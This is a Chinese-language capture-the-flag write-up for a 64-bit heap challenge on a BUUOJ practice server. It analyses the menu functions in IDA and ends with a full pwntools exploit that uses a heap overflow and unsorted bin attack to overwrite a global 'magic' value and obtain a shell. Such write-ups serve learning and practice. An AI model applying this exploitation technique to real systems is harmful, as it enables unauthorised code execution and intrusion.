首先检查题目文件
64位文件,开了NX和stack
把文件丢进IDA察看
看到free函数和malloc函数,顿时感觉凉凉,因为已经做了好多天的堆题目了,一题也没做出来
还是硬着头皮看看
用shift+f12检索发现shell
分析main函数,发现当v5=4869并且magic>0x1305将获得shell
再看一下菜单里1,2,3功能的程序
create
其中atoi函数作用是把参数 str 所指向的字符串转换为一个整数(类型为 int 型)
malloc函数作业是 分配所需的内存空间(chunk),并返回一个指向它的指针
这样看heaparray数组里存放了9个由我们控制大小的内存的指针
readinput作用是能够根据输入字符串的长度调节要使用的内存长度。
那么23行语句就是把我们输入的内容转换成int型数据写入分配的chunk中
edit
7行到15行就是让选择之前的9个堆中的一个
16行提示堆的大小
17行以输入的内容为v1+4重新赋值
18行以重新赋值后的v1+4的内容写入v2
20行以v2的int型数值的长度重新为我们选择的堆的内存分配大小
delete
没什么说的,free清掉内存并将地址置零
exp如下
from pwn import *
p=remote('node4.buuoj.cn',26542)
magic = 0x6020A0
def ch(size,content):
p.sendlineafter(':','1')
p.sendlineafter(':',str(size))
p.sendlineafter(':',content)
def eh(idx,size,content):
p.sendlineafter(':','2')
p.sendlineafter(':',str(idx))
p.sendlineafter(':',str(size))
p.sendlineafter(':',content)
def dh(idx):
p.sendlineafter(':','3')
p.sendlineafter(':',str(idx))
ch(0x30,'aaaa')
ch(0x80,'bbbb')
ch(0x10,'cccc')
dh(1)
eh(0,0x50,0x30 * b"a" + p64(0)+p64(0x91)+p64(0)+p64(magic-0x10))
ch(0x80,'dddd')
p.sendlineafter(':','4869')
p.interactive()